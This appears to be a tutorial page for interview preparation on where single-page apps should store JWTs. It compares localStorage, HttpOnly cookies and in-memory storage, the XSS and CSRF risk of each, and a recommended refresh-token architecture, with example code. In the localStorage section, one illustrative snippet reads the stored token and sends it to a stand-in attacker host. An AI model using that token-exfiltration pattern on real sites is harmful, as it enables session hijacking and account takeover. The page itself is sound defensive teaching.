On this page · sections
JWT Storage Trade-offs
Where you store tokens determines which attack wins — XSS (steal token) or CSRF (ride session). No storage option eliminates both.
| Storage | XSS steals token? | CSRF without guards? | Persistence |
|---|---|---|---|
| localStorage + Bearer | Yes — any script reads it | Lower — header not auto-sent | Survives reload |
| HttpOnly cookie | No read | Higher — cookies auto-send | Server-controlled |
| Memory + Bearer | During session | Lower | Lost on reload |
| Memory + HttpOnly refresh | Partial | Refresh endpoint CSRF risk | Hybrid |
localStorage Risks
Definition
Any JavaScript on the page can read localStorage — including XSS payloads. A stolen JWT is a bearer token: attacker replays it until expiry.
'use strict';
// Anti-pattern — common in tutorials
localStorage.setItem('access_token', 'eyJhbGciOiJIUzI1NiIs...');
// Any XSS on the page executes:
const stolen = localStorage.getItem('access_token');
fetch('https://attacker.example/collect', {
method: 'POST',
body: stolen,
});Key properties:
- Readable by any same-origin script — no HttpOnly equivalent
- Bearer semantics — stolen token works from anywhere
- Long-lived refresh tokens in localStorage = catastrophic
- Persists until explicit removal — survives tab close
Encrypting the JWT before storing does not help — the decryption key lives in JS; XSS steals both.
Interview: If XSS exists, localStorage is game over — not dogmatic rejection, but the theft window equals token TTL.
HttpOnly Secure SameSite Cookies
Definition
HttpOnly cookies are invisible to document.cookie and JavaScript — XSS cannot exfiltrate them directly.
Pair with Secure (HTTPS only) and SameSite=Lax or Strict to cut CSRF. For cross-site OAuth callbacks, SameSite=None; Secure may be required.
'use strict';
async function fetchWithSession(url, options = {}) {
return fetch(url, {
...options,
credentials: 'include',
headers: {
Accept: 'application/json',
...options.headers,
},
});
}
// Server Set-Cookie (backend responsibility):
// refresh=...; HttpOnly; Secure; SameSite=Lax; Path=/auth/refresh; Max-Age=604800Frontend never touches the token string — session continuity via cookie jar.
Real-world example
Hybrid pattern — short access JWT in memory for API Authorization, silent refresh via HttpOnly cookie endpoint. Limits XSS blast radius to access TTL.
React Server Components can read HttpOnly cookies on the server (cookies() in Next.js) — never pass raw token to client components as props.
Interview: HttpOnly breaks exfiltration but not XSS action — attacker JS can still call same-origin fetch with credentials.
In-Memory Token Storage
Definition
Memory storage means the token lives in a module variable or closure — XSS can still steal it during the session, but nothing persists after refresh or tab close.
'use client';
let accessToken: string | null = null;
export function setAccessToken(token: string | null) {
accessToken = token;
}
export async function authFetch(input: RequestInfo, init: RequestInit = {}) {
if (!accessToken) throw new Error('Not authenticated');
const res = await fetch(input, {
...init,
headers: {
...init.headers,
Authorization: `Bearer ${accessToken}`,
},
});
if (res.status === 401) {
accessToken = null;
throw new Error('Session expired');
}
return res;
}Login success → accessToken in module scope + HttpOnly refresh cookie
Full reload → memory cleared + cookie survives
POST /refresh → repopulates accessToken in memoryNever persist tokens via Redux/Zustand middleware to localStorage — that reintroduces the risk.
Interview: Memory alone forces re-login on F5 unless paired with HttpOnly refresh; best combined pattern is memory access + HttpOnly refresh.
XSS vs CSRF Threat Swap
Definition
localStorage + Authorization header — XSS steals token; CSRF harder because attacker site cannot set arbitrary Authorization on cross-origin fetch.
Cookie session — XSS cannot read HttpOnly but can trigger authenticated requests; CSRF becomes the threat if cookies auto-send.
'use client';
// Pattern A — header from memory (CSRF-resistant, XSS-stealable during session)
async function mutateProfile(data: FormData) {
return authFetch('/api/profile', { method: 'PUT', body: data });
}
// Pattern B — cookie session (HttpOnly — CSRF needs protection)
async function mutateProfileCookie(data: FormData) {
return fetch('/api/profile', {
method: 'PUT',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCsrfTokenFromMeta(),
},
body: JSON.stringify(Object.fromEntries(data)),
});
}Mitigations regardless of storage:
- XSS — CSP, sanitize, no inline scripts, dependency audit
- CSRF — SameSite, CSRF token, custom header on mutations
Interview: Storage choice is a threat swap — production needs both CSP/XSS defenses and CSRF controls.
Production SPA Auth Architecture
Definition
Preferred modern pattern:
- BFF or same-site API with HttpOnly refresh cookie on the app domain
- Short-lived access token in memory
- Silent refresh on 401
- No tokens in localStorage
'use client';
import { useEffect, useRef, useCallback } from 'react';
export function useSession() {
const accessRef = useRef<string | null>(null);
const refresh = useCallback(async () => {
const res = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include',
});
if (!res.ok) {
accessRef.current = null;
return null;
}
const data = await res.json();
accessRef.current = data.accessToken;
return data.accessToken;
}, []);
useEffect(() => { refresh(); }, [refresh]);
const api = useCallback(async (path: string, init?: RequestInit) => {
let token = accessRef.current ?? (await refresh());
if (!token) throw new Error('Unauthorized');
let res = await fetch(path, {
...init,
headers: { ...init?.headers, Authorization: `Bearer ${token}` },
});
if (res.status === 401) {
token = await refresh();
if (!token) throw new Error('Unauthorized');
res = await fetch(path, {
...init,
headers: { ...init?.headers, Authorization: `Bearer ${token}` },
});
}
return res;
}, [refresh]);
return {
api,
logout: () => {
accessRef.current = null;
fetch('/api/auth/logout', { method: 'POST', credentials: 'include' });
},
};
}Real-world example
Multi-tab logout: BroadcastChannel('auth') posts logout event; each tab clears memory. Server invalidates refresh family with reuse detection as breach signal.
Opaque session id in HttpOnly cookie — easier revocation than stateless JWT-only.
Interview: Tokens have minimal persistence, refresh rotates server-side, logout invalidates all sessions, and XSS/CSRF mitigations match the chosen storage pattern.
Senior Interview Summary
Mental model
localStorage → Any same-origin JS reads it; XSS = game over
HttpOnly → JS cannot read; breaks exfiltration path
Memory → No persistence; XSS during session only
Hybrid → Short access in memory + HttpOnly refresh cookie
BFF → Same-origin /api; first-party cookiesPractical rules
- Never store refresh tokens in localStorage
- Centralized fetch wrapper — no scattered token access
- Clear memory on logout; server invalidates refresh
- Document threat model in ADR: chosen storage, mitigations, accepted risks
- Instrument refresh failures to detect token theft campaigns
What to say in interviews
I choose BFF vs cross-domain API, place refresh in HttpOnly cookie with rotation and reuse detection, keep access in memory with short TTL, implement silent refresh on mount and 401, and never store tokens in localStorage. Short JWT expiry reduces but does not eliminate localStorage theft window — refresh token exposure is the critical risk.
Common traps
- HTTPS protects transit — not XSS on client
- HttpOnly only via Set-Cookie response header, not JS
- Bearer tokens do not eliminate CSRF when cookies are also used
- sessionStorage is not meaningfully safer than localStorage under XSS